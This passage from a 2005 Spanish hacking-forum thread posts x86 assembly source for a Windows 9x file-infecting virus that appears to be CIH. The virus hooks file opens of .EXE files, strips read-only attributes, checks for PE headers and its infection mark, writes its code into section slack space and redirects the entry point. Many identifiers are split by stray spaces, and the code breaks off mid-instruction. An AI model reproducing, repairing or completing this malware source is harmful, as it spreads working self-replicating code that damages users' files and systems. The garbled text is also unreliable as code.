CallUniToBCSPa th:
         push   00000000h
         push   FileNameBufferSize
         mov   ebx, [ebx+10h]
         mov   eax, [ebx+0ch]
         add   eax, 04h
         push   eax
         push   esi
         int   20h   ; VXDCall UniToBCSPath
UniToBCSPath      =   $
         dd   00400041h
         add   esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

         ; cmp [esi+eax-04h], '.EXE'
         cmp   [esi+eax-04h], 'EXE.'
         pop   esi
         jne   DisableOnBusy

IF   DEBUG

; *************************************
; * Only for Debug *
; *************************************

         ; cmp [esi+eax-06h], 'FUCK'
         cmp   [esi+eax-06h], 'KCUF'
         jne   DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

         ; if ( NotOpenExistin gFile )
         ; goto DisableOnBusy
         cmp   word ptr [ebx+18h], 01h
         jne   DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

         mov   ax, 4300h
         int   20h   ; VXDCall IFSMgr_Ring0_F ileIO
IFSMgr_Ring0_F ileIO   =   $
         dd   00400032h

         jc   DisableOnBusy

         push   ecx

; *************************************
; * Get IFSMgr_Ring0_F ileIO Address *
; *************************************

         mov   edi, dword ptr (IFSMgr_Ring0_F ileIO-@7)[esi]
         mov   edi, [edi]

; *************************************
; * Is Read-Only File !? *
; *************************************

         test   cl, 01h
         jz   OpenFile

; *************************************
; * Modify Read-Only File to Write *
; *************************************

         mov   ax, 4301h
         xor   ecx, ecx
         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

; *************************************
; * Open File *
; *************************************

OpenFile:
         xor   eax, eax
         mov   ah, 0d5h
         xor   ecx, ecx
         xor   edx, edx
         inc   edx
         mov   ebx, edx
         inc   ebx
         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

         xchg   ebx, eax   ; mov ebx, FileHandle

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

         pop   ecx

         pushf

         test   cl, 01h
         jz   IsOpenFileOK

; *************************************
; * Restore Attributes of the File *
; *************************************

         mov   ax, 4301h
         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
         popf

         jc   DisableOnBusy

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

         push   esi   ; Push FileNameBuffer Address to Stack

         pushf      ; Now CF = 0, Push Flag to Stack

         add   esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHea der *
; ***************************

         xor   eax, eax
         mov   ah, 0d6h

         ; For Doing Minimal VirusCode's Length,
         ; I Save EAX to EBP.
         mov   ebp, eax

         push   00000004h
         pop   ecx
         push   0000003ch
         pop   edx
         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

         mov   edx, [esi]

; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeade r, and *
; * Infected Mark. *
; ***************************

         dec   edx

         mov   eax, ebp
         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************

         ; cmp [esi], '\0PE\0'
         cmp   dword ptr [esi], 00455000h
         jne   CloseFile

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeade r Pointer's *
; *     Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_F ileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBuffer Pointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************

         push   ebx   ; Save File Handle

         push   00h   ; Set VirusCodeSecti onTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

         push   01h   ; Size
         push   edx   ; Pointer of File
         push   edi   ; Address of Buffer

; ***************************
; * Save ESP Register *
; ***************************

         mov   dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEn tryPoint *
; * ( Only First Set Size ) *
; ***************************

         push   eax   ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

         mov   eax, ebp
         mov   cl, SizeOfImageHea derToRead
         add   edx, 07h ; Move EDX to NumberOfSectio ns
         call   edi    ; VXDCall IFSMgr_Ring0_F ileIO

; ***************************
; * Let's Set the *
; * NewAddressOfEn tryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

         lea   eax, (AddressOfEntry Point-@8)[edx]
         push   eax   ; Pointer of File

         lea   eax, (NewAddressOfEn tryPoint-@8)[esi]
         push   eax   ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

         movzx   eax, word ptr (SizeOfOptional Header-@8)[esi]
         lea   edx, [eax+edx+12h]

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

         mov   al, SizeOfScetionT able

         ; I Assume NumberOfSectio ns <= 0ffh
         mov   cl, (NumberOfSectio ns-@8)[esi]

         mul   cl

; ***************************
; * Let's Set Section Table *
; ***************************

         ; Move ESI to the Start of SectionTable
         lea   esi, (StartOfSection Table-@8)[esi]

         push   eax   ; Size
         push   edx   ; Pointer of File
         push   esi   ; Address of Buffer

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************

         inc   ecx
         push   ecx   ; Save NumberOfSectio ns+1

         shl   ecx, 03h
         push   ecx   ; Save TotalSizeOfVir usCodeSectionT able

         add   ecx, eax
         add   ecx, edx

         sub   ecx, (SizeOfHeaders-@9)[esi]
         not   ecx
         inc   ecx

         ; Save My Virus First Section Code
         ; Size of Following Section Table...
         ; ( Not Include the Size of Virus Code Section Table )
         push   ecx

         xchg   ecx, eax   ; ECX = Size of Section Table

         ; Save Original Address of Entry Point
         mov   eax, (AddressOfEntry Point-@9)[esi]
         add   eax, (ImageBase-@9)[esi]
         mov   (OriginalAddres sOfEntryPoint-@9)[esi], eax

         cmp   word ptr [esp], small CodeSizeOfMerg eVirusCodeSect ion
         jl   OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

         mov   eax, ebp
         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawDa ta in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************

         xchg   eax, ebp

         push   00000004h
         pop   ecx

         push   edx
         mov   edx, (SizeOfScetionT able+PointerToRawData-@9)[esi]
         add   edx, 12h

         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

         ; cmp [esi], 'nZip'
         cmp   dword ptr [esi], 'piZn'
         je   NotSetInfectedMark

         pop   edx

; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************

         ; EBX = My Virus First Section Code
         ;   Size of Following Section Table
         pop   ebx
         pop   edi   ; EDI = TotalSizeOfVir usCodeSectionT able
         pop   ecx   ; ECX = NumberOfSectio ns+1

         push   edi      ; Size

         add   edx, ebp
         push   edx      ; Pointer of File

         add   ebp, esi
         push   ebp      ; Address of Buffer

; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSecti onTable *
; ***************************

         lea   eax, [ebp+edi-04h]
         mov   [eax], ebx

; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************

         push   ebx   ; Size

         add   edx, edi
         push   edx   ; Pointer of File

         lea   edi, (MyVirusStart-@9)[esi]
         push   edi   ; Address of Buffer

; ***************************
; * Let's Modify the *
; * AddressOfEntry Point to *
; * My Virus Entry Point *
; ***************************

         mov   (NewAddressOfEn tryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data *
; ***************************

         lea   edx, [esi-SizeOfScetionTable]
         mov   ebp, offset VirusSize

         jmp   StartToWriteCodeToSections
-------------------------------------------------------------------------------------------------------------------------------------------------cÃ³digo dividido... continÃºa...


« Última modificación: 07 de Junio de 2005, 08:35:39 por Universal SAC »	En línea

~UNIVERSAL[HACK]

Universal SAC
NZ3

Desconectado

Mensajes: 577

Universal SAC

Re: CÃ³digos Fuente

« Respuesta #3 : 07 de Junio de 2005, 08:33:16 »

-------------------------------------------------------------------------------------------------------------------------el cÃ³digo continÃºa...

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCod eToSections:

         add   edx, SizeOfScetionT able

         mov   ebx, (SizeOfRawData-@9)[edx]
         sub   ebx, (VirtualSize-@9)[edx]
         jbe   EndOfWriteCodeToSections

         push   ebx   ; Size

         sub   eax, 08h
         mov   [eax], ebx

         mov   ebx, (PointerToRawDa ta-@9)[edx]
         add   ebx, (VirtualSize-@9)[edx]
         push   ebx   ; Pointer of File

         push   edi   ; Address of Buffer

         mov   ebx, (VirtualSize-@9)[edx]
         add   ebx, (VirtualAddress-@9)[edx]
         add   ebx, (ImageBase-@9)[esi]
         mov   [eax+4], ebx

         mov   ebx, [eax]
         add   (VirtualSize-@9)[edx], ebx

         ; Section contains initialized data ==> 00000040h
         ; Section can be Read. ==> 40000000h
         or   (Characteristic s-@9)[edx], 40000040h

StartToWriteCo deToSections:

         sub   ebp, ebx
         jbe   SetVirusCodeSectionTableEndMark

         add   edi, ebx   ; Move Address of Buffer

EndOfWriteCode ToSections:

         loop   LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfecte dMark:
         mov   esp, dr1

         jmp   WriteVirusCodeToFile

; ***************************
; * Not Set Infected Mark *
; ***************************

NotSetInfected Mark:
         add   esp, 3ch

         jmp   CloseFile

; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************

SetVirusCodeSe ctionTableEndM ark:

         ; Adjust Size of Virus Section Code to Correct Value
         add   [eax], ebp
         add   [esp+08h], ebp

         ; Set End Mark
         xor   ebx, ebx
         mov   [eax-04h], ebx

; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************

         lea   eax, (LastVxDCallAdd ress-2-@9)[esi]

         mov   cl, VxDCallTableSi ze

LoopOfRestoreV xDCallID:
         mov   word ptr [eax], 20cdh

         mov   edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
         mov   [eax+2], edx

         movzx   edx, byte ptr (VxDCallAddress Table+ecx-1-@9)[esi]
         sub   eax, edx

         loop   LoopOfRestoreVxDCallID

; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************

WriteVirusCode ToFile:
         mov   eax, dr1
         mov   ebx, [eax+10h]
         mov   edi, [eax]

LoopOfWriteVir usCodeToFile:

         pop   ecx
         jecxz   SetFileModificationMark

         mov   esi, ecx
         mov   eax, 0d601h
         pop   edx
         pop   ecx

         call   edi   ; VXDCall IFSMgr_Ring0_F ileIO

         jmp   LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************

SetFileModific ationMark:
         pop   ebx
         pop   eax

         stc      ; Enable CF(Carry Flag)
         pushf

; *************************************
; * Close File *
; *************************************

CloseFile:
         xor   e